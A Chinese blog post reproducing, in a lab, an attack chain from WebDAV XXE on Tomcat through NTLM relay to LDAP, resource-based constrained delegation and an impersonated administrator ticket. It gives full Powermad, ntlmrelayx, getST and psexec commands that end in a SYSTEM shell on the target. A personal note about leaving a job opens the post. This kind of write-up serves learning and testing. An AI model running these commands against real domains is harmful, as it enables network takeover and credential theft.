本文主要复现部门大佬文章《这是一篇“不一样”的真实渗透测试案例分析文章》中XXE中继的部分,主要利用的技术为通过XXE实现NTLM中继从而添加基于资源约束委派,最后拿到webdav的TGS票据。和一些自己的总结

前段时间离职了,虽然说哥们经常上午不去下午两点过才去摸鱼生涯属于一个美滋滋,但是离职的想法早在去年就滋生了,对团队这种模式有点不太满意,自己给自己安排工作,前期一过没有大佬带着,对年轻人来说显然是在荒废自己的时间,(虽然刚找工作的时候除了一家较小公司和前部门以外不可能让我留在成都)工资也不高(这一点leader的大学班长早给我说过)。一直没放在心上,因为从心里还是非常感谢leader,一个没正式工作经验的同学一跃成为知名团队信安工程师,水了国家级HW行动专家组加北京市HW红队队长(毕竟特殊时间,还是很有优越感的hahahah),本来下定决心今年必走然后刚好赶上集团大规模裁员60%,leader是说想留下我和另外两个同事,我回了一句:感觉大家都想蹭波裁员补偿走了。然后过了两天leader宣布自己准备找下家了。。走了两个月才发现有工资天天基本想去就去是真的爽(其实也是项目没有预期的收益),前两个月忙自己的项目累惨了,后面跟圈子里的师傅们玩了几天,挺好的!从未有过的放松!最近闲下来了又在想职业生涯,毕竟离开资源最好的公司和部门,以后可能就是很累,再也不能下午去,想学就学想工作就工作。确实是非常理想化的团队,每周技术分享加充足时间学习。吹爆!!!换方向就换嘛 累就累点嘛 谁让我们这么爱折腾。后续blog以学习为主各种笔记~
.

环境

1. 域控DC 10.0.0.16
2. 目标机器win2012r2 10.0.0.12
3. 攻击机mac 10.0.0.2
4. 域内账号hack

tomcat5自带了webdav,将搭建在win2012r2目标机器上。配置好环境变量之后,通过以system权限启动tomcat。

1.png

复现

访问http://10.0.0.12:8080/webdav

利用options请求探测可使用的请求方式

2.png

在一个国外安全研究员的PPT(链接已死)中提到: 一般webdav支持多种http方法,而PROPPATCH、PROPFIND、 LOCK等方法接受XML作为输入时会形成xxe。

3.png

说到xxe一般会想到任意文件读取、内网探测等。玄武实验室文章《Ghidra 从 XXE 到 RCE》中提到利用java xxe做ntlm relay操作。由于sun.net.www.protocol.http.HttpURLConnection 发送HTTP请求时返回为401的HTTP返回头时,会判断该页面要求使用哪种认证方式,若攻击者回复要求采用NTLM认证则会自动使用当前用户凭据进行认证。

NTLMrelay

我记得前两天还有朋友(点名rookie)说不懂内网,比如relay这里解释一下。在个人理解里relay其实就是中间人攻击,我们让clientA对我们伪造的服务端hackerA发起ntlm认证,hackerA再把这个请求转发给域控制器。这个过程就是relay,知道ntlm认证协议的兄弟萌就知道这里可以干很多事,比如relay回本机或者撞hash(不太实际),获取白银黄金票据。只是它与什么dns欺骗和arp欺骗相反,他是主动的。

增加一个服务账号

有人会问:前面都说了relay回自身就可以拿到shell了为什么要增加服务账号?因为这个模拟环境是用system启动的服务,而system relay是用自身的机器账号去做的,没有办法去调高权限RPC接口。

在基于资源的约束委派又需要一个spn账号来配合(ps:因为kerberos的扩展协议s4u2self协议需要spn)。为什么不用前面system账户请求是机器账户 这里的机器账户去委派?因为需要用到密码。

利用获取到的hack账户使用powermad添加一个机器账户evil

Import-Module .\Powermad.ps1
New-MachineAccount -MachineAccount evil1 -Domain pentest.com -DomainController PENTEST-DC.pentest.com

4.png

基于资源的约束委派

为了使用户/资源更加独立,Windows Server 2012中引入了基于资源的约束委派。基于资源的约束委派允许资源配置受信任的帐户委派给他们。基于资源的约束委派将委派的控制权交给拥有被访问资源的管理员。也就是说:我们只要通过设置基于资源的约束委派,就可以用那个用户去模拟任意用户去访问拥有委派的权限机器(只对该机器有效)

开启监听

sudo python3 ntlmrelayx.py -t ldap://10.0.0.16 -debug -ip 10.0.0.2 --delegate-access --escalate-user evil1$

5.png

然后用xxe请求我们的VPS,接着将凭据中继到域控服务器的LDAP服务上设置基于资源约束委派。

6.png

接下来就用设置了基于资源委派的账号去创建伪造一张目标机器administrator账号的票据

python3 getST.py -dc-ip 10.0.0.16 pentest/evil1\$:weareanonymous13 -spn cifs/win2012.pentest.com -impersonate administrator

7.png

申请成功,导入票据

export KRB5CCNAME=administrator.ccache

8.png

不用那么花里胡哨按格式来登录目标机器就行

python3 psexec.py -k pentest.com/[email protected] -no-pass

9.png

可以看到三种登录方式,实战选择system权限的好抓密码。